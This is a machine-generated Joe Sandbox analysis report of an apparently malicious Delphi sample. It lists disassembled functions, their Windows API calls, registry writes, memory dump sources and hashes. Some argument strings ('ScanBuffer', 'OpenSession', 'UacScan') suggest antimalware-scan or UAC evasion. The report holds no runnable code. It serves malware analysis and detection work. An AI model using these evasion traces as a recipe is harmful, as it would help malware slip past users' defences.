                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CloseOpenValue
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 779948276-0
                                                                                                                                                                      • Opcode ID: 8d2ab0732ba26a37b492859b13c3f091d18a6d4347ea805978dbec2f74fde842
                                                                                                                                                                      • Instruction ID: b49673f47631b3373e3e5709825fe2d8288eaa5de6243e7cf1b019642e1a6674
                                                                                                                                                                      • Opcode Fuzzy Hash: 8d2ab0732ba26a37b492859b13c3f091d18a6d4347ea805978dbec2f74fde842
                                                                                                                                                                      • Instruction Fuzzy Hash: 2A113D71600204AFEF14FBA8DD959AE77ADEB09758F910470F504DB350D730DE01EA60
                                                                                                                                                                      Function 02CAE6B8 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • RegOpenKeyA.ADVAPI32(?,00000000,02DE5914), ref: 02CAE6FC
                                                                                                                                                                      • RegSetValueExA.ADVAPI32(00000864,00000000,00000000,00000001,00000000,0000001C,00000000,02CAE767), ref: 02CAE734
                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000864,00000864,00000000,00000000,00000001,00000000,0000001C,00000000,02CAE767), ref: 02CAE73F
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CloseOpenValue
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 779948276-0
                                                                                                                                                                      • Opcode ID: 40c360e3f5e964c2cd6dc0ffae7ab97a5cd5bf77633187613c0904942d75abd8
                                                                                                                                                                      • Instruction ID: 58015641dacef580eb8d0a38b19394c815977d1c763065c84c7c372e6bb6ec87
                                                                                                                                                                      • Opcode Fuzzy Hash: 40c360e3f5e964c2cd6dc0ffae7ab97a5cd5bf77633187613c0904942d75abd8
                                                                                                                                                                      • Instruction Fuzzy Hash: 1D113D71600204AFEF14FBA8DD959AE77ADEB09758F910470F504DB350D730DE01EA60
                                                                                                                                                                      Function 02C9E2E4 Relevance: 4.5, APIs: 3, Instructions: 45COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ClearVariant
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1473721057-0
                                                                                                                                                                      • Opcode ID: a6e321520108b45d33e9babc7bbfe37725b9992f1c09c531e9a3f23f032f5071
                                                                                                                                                                      • Instruction ID: fa28889487df51a1091b2c7f53011dc2ba9b7b4c11f35941b8980259e743d3d1
                                                                                                                                                                      • Opcode Fuzzy Hash: a6e321520108b45d33e9babc7bbfe37725b9992f1c09c531e9a3f23f032f5071
                                                                                                                                                                      • Instruction Fuzzy Hash: 10F0C231708210C79F24FB3ACE8C679239A7F64B047445427E40E9B205CF24CE05DB62
                                                                                                                                                                      Function 02C94CFC Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SysFreeString.OLEAUT32(02CAE948), ref: 02C94C1A
                                                                                                                                                                      • SysAllocStringLen.OLEAUT32(?,?), ref: 02C94D07
                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 02C94D19
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: String$Free$Alloc
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 986138563-0
                                                                                                                                                                      • Opcode ID: 5a5438c59bf50d5a9d2d1f0a3350fd82e771d5cb0ff699e6fe957ce0256f5644
                                                                                                                                                                      • Instruction ID: 89a85f912c691efae0ed0fce1ea743dba7b8a1a82597d5ff29e9e71896b5bef2
                                                                                                                                                                      • Opcode Fuzzy Hash: 5a5438c59bf50d5a9d2d1f0a3350fd82e771d5cb0ff699e6fe957ce0256f5644
                                                                                                                                                                      • Instruction Fuzzy Hash: ABE012B8105A026EEF283F219C59B37372AAFC1745B18449AE804CA154D774C442FD74
                                                                                                                                                                      Function 02CA705C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SysFreeString.OLEAUT32(?), ref: 02CA735A
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FreeString
                                                                                                                                                                      • String ID: H
                                                                                                                                                                      • API String ID: 3341692771-2852464175
                                                                                                                                                                      • Opcode ID: 76235247960270cfea758635c98e51c70504a3a0e80a78c3e23a1b394b59e46d
                                                                                                                                                                      • Instruction ID: 78ca306247cb40c5af4aa4979542ca748420d5513865151d85191f5db03b1f6d
                                                                                                                                                                      • Opcode Fuzzy Hash: 76235247960270cfea758635c98e51c70504a3a0e80a78c3e23a1b394b59e46d
                                                                                                                                                                      • Instruction Fuzzy Hash: 6DB1D174A01609DFDB10CF99D890A9DFBF6FF89318F258269E809AB364D730A945CF50
                                                                                                                                                                      Function 02C9E6E0 Relevance: 3.1, APIs: 2, Instructions: 63COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • VariantCopy.OLEAUT32(00000000,00000000), ref: 02C9E701
                                                                                                                                                                        • Part of subcall function 02C9E2E4: VariantClear.OLEAUT32(?), ref: 02C9E2F3
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Variant$ClearCopy
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 274517740-0
                                                                                                                                                                      • Opcode ID: 09554983ddfe989b91fcc6a406bb9f7b5f0cdf1627038da94f8f8e9afeaaf919
                                                                                                                                                                      • Instruction ID: 77eecf159daa9005ea527fd1b486c96c753418ea45c708ea2a74b20ace884f1b
                                                                                                                                                                      • Opcode Fuzzy Hash: 09554983ddfe989b91fcc6a406bb9f7b5f0cdf1627038da94f8f8e9afeaaf919
                                                                                                                                                                      • Instruction Fuzzy Hash: 9011A17070021097CF34EF6AC9CCA6677D6AFA57517044467EA4E8B245DB32CC41DBA3
                                                                                                                                                                      Function 02C9E37C Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: InitVariant
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1927566239-0
                                                                                                                                                                      • Opcode ID: 2b5c01b638429bbd25027ef201300728a0add60f21b6e37ea75f06e01a39da27
                                                                                                                                                                      • Instruction ID: c766397b04a95918a52e8cdec7d92583f8e18e81044e077b1e0ab81825817f47
                                                                                                                                                                      • Opcode Fuzzy Hash: 2b5c01b638429bbd25027ef201300728a0add60f21b6e37ea75f06e01a39da27
                                                                                                                                                                      • Instruction Fuzzy Hash: 5B315E72A00218EBEF10DFE9C88CAAA77E9FB5D704F444562E909D3240D330DA90CBA1
                                                                                                                                                                      Function 02CA6CEC Relevance: 1.5, APIs: 1, Instructions: 30COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • CLSIDFromProgID.OLE32(00000000,?,00000000,02CA6D39,?,?,?,00000000), ref: 02CA6D19
                                                                                                                                                                        • Part of subcall function 02C94C0C: SysFreeString.OLEAUT32(02CAE948), ref: 02C94C1A
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FreeFromProgString
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4225568880-0
                                                                                                                                                                      • Opcode ID: 1bc85330fa237bd57c255a797252283405e9d5108e430fa670812d8c175761c5
                                                                                                                                                                      • Instruction ID: 9b8357425cbd06375e605ce979ef531098786f9fdc80a60e72a4420949ae7959
                                                                                                                                                                      • Opcode Fuzzy Hash: 1bc85330fa237bd57c255a797252283405e9d5108e430fa670812d8c175761c5
                                                                                                                                                                      • Instruction Fuzzy Hash: 1FE09236604708BFEF25FBA9CC66D5A77EDDB89B54B6104B1E800D7600EA75AE00A860
                                                                                                                                                                      Function 02C95814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(02C90000,?,00000105), ref: 02C95832
                                                                                                                                                                        • Part of subcall function 02C95A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02C90000,02CBD790), ref: 02C95A94
                                                                                                                                                                        • Part of subcall function 02C95A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02C90000,02CBD790), ref: 02C95AB2
                                                                                                                                                                        • Part of subcall function 02C95A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02C90000,02CBD790), ref: 02C95AD0
                                                                                                                                                                        • Part of subcall function 02C95A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02C95AEE
                                                                                                                                                                        • Part of subcall function 02C95A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02C95B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02C95B37
                                                                                                                                                                        • Part of subcall function 02C95A78: RegQueryValueExA.ADVAPI32(?,02C95CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02C95B7D,?,80000001), ref: 02C95B55
                                                                                                                                                                        • Part of subcall function 02C95A78: RegCloseKey.ADVAPI32(?,02C95B84,00000000,?,?,00000000,02C95B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02C95B77
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Open$FileModuleNameQueryValue$Close
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2796650324-0
                                                                                                                                                                      • Opcode ID: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
                                                                                                                                                                      • Instruction ID: 1f3c8c374d54fbff8e9a2aafd767657d0992d5ebf2562e3c05b569b20c7d337c
                                                                                                                                                                      • Opcode Fuzzy Hash: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
                                                                                                                                                                      • Instruction Fuzzy Hash: 47E06D71A402149FCF10DF5888C4A5637D8AF08790F440565EC58DF34AD3B0DA108BD4
                                                                                                                                                                      Function 02C97D94 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02C97DA8
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FileWrite
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3934441357-0
                                                                                                                                                                      • Opcode ID: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
                                                                                                                                                                      • Instruction ID: e02c43f2dd59dec1c61d1a162d8b2671d3427478910f4939f7be2e3370a8f263
                                                                                                                                                                      • Opcode Fuzzy Hash: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
                                                                                                                                                                      • Instruction Fuzzy Hash: B1D05BB23191107AD620955E5C44EFB5BDCCFC9770F100639B658C31C0D7208C0587B1
                                                                                                                                                                      Function 02C97E10 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetFileAttributesA.KERNEL32(00000000,?,02CAF8C4,ScanString,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0,ScanString,02CF137C,02CBAFD0,UacScan,02CF137C,02CBAFD0,UacInitialize), ref: 02C97E1B
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AttributesFile
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3188754299-0
                                                                                                                                                                      • Opcode ID: 23fb81311ad07fae81732db0edde70c56cded36c5311baf0953a0f48c8330ef0
                                                                                                                                                                      • Instruction ID: 7c5a315255a1d30d9eeb7249d685addd62d40c4b6074fa7cae3585d0a18e1b99
                                                                                                                                                                      • Opcode Fuzzy Hash: 23fb81311ad07fae81732db0edde70c56cded36c5311baf0953a0f48c8330ef0
                                                                                                                                                                      • Instruction Fuzzy Hash: B5C08CF06232820E1E64A1FC0CCC12A528C1B841383A42F21E238DA2E2D321882B7420
                                                                                                                                                                      Function 02C97E34 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetFileAttributesA.KERNEL32(00000000,?,02CB2A41,ScanString,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0,ScanBuffer,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0,Initialize), ref: 02C97E3F
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AttributesFile
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3188754299-0
                                                                                                                                                                      • Opcode ID: fe3f8c7547375d3b190e2bd7b8d67a4577ec7d15bc45dec9ccb4955a6e8d04a7
                                                                                                                                                                      • Instruction ID: f86e490776688ca98eed5f47a2836f6c8d9085418e8d4e54f237b1213f30bbe5
                                                                                                                                                                      • Opcode Fuzzy Hash: fe3f8c7547375d3b190e2bd7b8d67a4577ec7d15bc45dec9ccb4955a6e8d04a7
                                                                                                                                                                      • Instruction Fuzzy Hash: 72C08CF06232040E5E60A2FC0CCC60A628C1B841383A02F21E138C61D2D321D86B3410
                                                                                                                                                                      Function 02C94C24 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FreeString
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3341692771-0
                                                                                                                                                                      • Opcode ID: ec55763b5f82d1328600eb73f4eb151786d68f8a69a22224f81dbc62eca26ecd
                                                                                                                                                                      • Instruction ID: 37d732be9bb689d63a6a0870b92b2e3cded4987edf094fa01e0ba3531762206a
                                                                                                                                                                      • Opcode Fuzzy Hash: ec55763b5f82d1328600eb73f4eb151786d68f8a69a22224f81dbc62eca26ecd
                                                                                                                                                                      • Instruction Fuzzy Hash: 31C012B2600A244BEF355A989CC475562CCEB45295B1800A1D408D7245E3A0DD019664
                                                                                                                                                                      Function 02CBBB48 Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • timeSetEvent.WINMM(00002710,00000000,02CBBB3C,00000000,00000001), ref: 02CBBB58
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Eventtime
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2982266575-0
                                                                                                                                                                      • Opcode ID: 6e8a69f4701abab6e5fbb4191b747862230051a831e5bf8809814990fb506c87
                                                                                                                                                                      • Instruction ID: 2efed931856ec88f3866c05175573ac1b06f253a851920dbc95d706e3a58a5cf
                                                                                                                                                                      • Opcode Fuzzy Hash: 6e8a69f4701abab6e5fbb4191b747862230051a831e5bf8809814990fb506c87
                                                                                                                                                                      • Instruction Fuzzy Hash: B6C092F07807407EFE10AAA92CC2F631A8DDB08B04F600412BA10EE2C3D1E24D609A30
                                                                                                                                                                      Function 02C94BE4 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SysAllocStringLen.OLEAUT32(00000000,?), ref: 02C94BEB
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
